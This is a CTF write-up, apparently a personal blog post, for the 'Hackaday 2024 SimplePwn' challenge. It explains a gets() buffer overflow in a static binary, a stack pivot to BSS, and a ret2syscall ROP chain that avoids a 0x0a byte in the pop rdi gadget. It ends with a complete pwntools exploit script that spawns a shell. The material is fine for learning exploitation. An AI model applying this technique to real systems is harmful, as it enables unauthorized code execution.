bebop404

Hackaday 2024: SimplePwn

Static binary ret2syscall — working around a pop rdi gadget with a 0x0a byte via a magic gadget, pivoting to BSS first to lay out a clean ROP chain.

A statically compiled program has a gets function causing a buffer overflow.

gets buffer overflow in IDA

We can't directly use a ROP chain, so we need to manually find gadgets to control registers. Use ropper --file=simplepwn --search "pop".

Available pop gadgets

All the registers are available, but the rdi register has an \x0a at the end, which is interpreted as the end of the string. This causes the ROP chain to be truncated. Additionally, the position of the bin_sh string is unknown, so the strategy is to first overflow and transfer control to the BSS section. Then, the ROP chain is laid out. Since pop rdi cannot be used directly, we have to manually search for a magic gadget that can assign a value to rdi.

Magic gadgets

The two gadgets can be used. pop rbx can be used directly, so just arrange the ROP chain accordingly.

ROP chain layout

Shell obtained


Exploit Script

from pwn import *
from ctypes import *
from LibcSearcher import *
 
io = process("./simplepwn")
elf = ELF("./simplepwn")
 
context(log_level="debug", arch=elf.arch, os=elf.os)
 
libc = elf.libc
 
bss = 0x408220 + 0x300
 
rdi = 0x000000000040230a
rax = 0x0000000000401001
rsi = 0x000000000040499b
rdx = 0x0000000000404514
rbp = 0x0000000000401123
syscall = 0x0000000000404676
rbx = 0x0000000000403fd5
magic = 0x00000000004048ff
leave = 0x4011A7
 
io.recvuntil(b"Welcome to Hackaday 2024! This is a very simple challenge :)")
 
payload1 = b""
payload1 += b"/bin/sh\x00"
payload1 += b"a" * 0x68
payload1 += p64(bss)
payload1 += p64(0x401191)
 
io.sendline(payload1)
 
payload2 = b""
payload2 += b"/bin/sh\x00"
payload2 += p64(rbx)
payload2 += p64(0x4084b0)
payload2 += p64(rsi)
payload2 += p64(0)
payload2 += p64(rdx)
payload2 += p64(0)
payload2 += p64(syscall) * 5
payload2 += p64(magic)
payload2 += p64(syscall)
payload2 += p64(bss)
payload2 += p64(rbp)
payload2 += p64(0x4084b0)
payload2 += p64(rax)
payload2 += p64(0x3b)
payload2 += p64(leave)
 
sleep(0.1)
io.sendline(payload2)
 
io.interactive()